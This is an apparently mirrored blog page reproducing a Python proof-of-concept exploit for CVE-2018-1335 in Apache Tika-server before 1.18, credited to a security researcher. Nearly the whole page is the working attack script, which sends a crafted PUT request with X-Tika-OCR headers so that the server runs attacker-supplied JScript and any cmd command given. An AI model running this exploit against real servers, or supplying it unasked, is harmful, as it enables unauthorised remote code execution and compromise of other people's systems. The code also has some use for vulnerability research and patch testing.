zoukankan      html  css  js  c++  java
  • [EXP]Apache Tika-server < 1.18

    ######################################################################################################
    #Description: This is a PoC for remote command execution in Apache Tika-server.                      #
    #Versions Affected: Tika-server versions < 1.18                                                      #   
    #Researcher: David Yesland Twitter: @Daveysec                                                        #
    #Blog Link: https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/ #                                                                   # 
    #NIST CVE Link: https://nvd.nist.gov/vuln/detail/CVE-2018-1335                                       #
    ######################################################################################################
    
    import sys
    import requests
    
    if len(sys.argv) < 4:
        print "Usage: python CVE-2018-1335.py <host> <port> <command>"
        print "Example: python CVE-2018-1335.py localhost 9998 calc.exe"
    else:
        host = sys.argv[1]
        port = sys.argv[2]
        cmd = sys.argv[3]
    
        url = host+":"+str(port)+"/meta"
    
        headers = {"X-Tika-OCRTesseractPath": ""cscript"", 
            "X-Tika-OCRLanguage": "//E:Jscript", 
            "Expect": "100-continue", 
            "Content-type": "image/jp2", 
            "Connection": "close"}
    
        jscript='''var oShell = WScript.CreateObject("WScript.Shell");
        var oExec = oShell.Exec('cmd /c {}');
        '''.format(cmd)
    
        try:
            requests.put("https://"+url, headers=headers, data=jscript, verify=False)
        
        except:
            try:
                requests.put("http://"+url, headers=headers, data=jscript)
            except:
                print "Something went wrong.
    Usage: python CVE-2018-1335.py <host> <port> <command>"
                
  • 相关阅读:
    e666. 创建缓冲图像
    e670. 缓冲图像转换为图像
    e680. 使三元色图像变明变暗
    e659. 缩放,剪取,移动,翻转图形
    e656. 创建基本图形
    e657. 用直线和曲线绘制图形
    e658. 组合图形
    e655. 混合风格的文本
    e654. 获得文本的缩略图
    e652. Getting the Font Faces for a Font Family
  • 原文地址:https://www.cnblogs.com/k8gege/p/10533413.html
Copyright © 2011-2022 走看看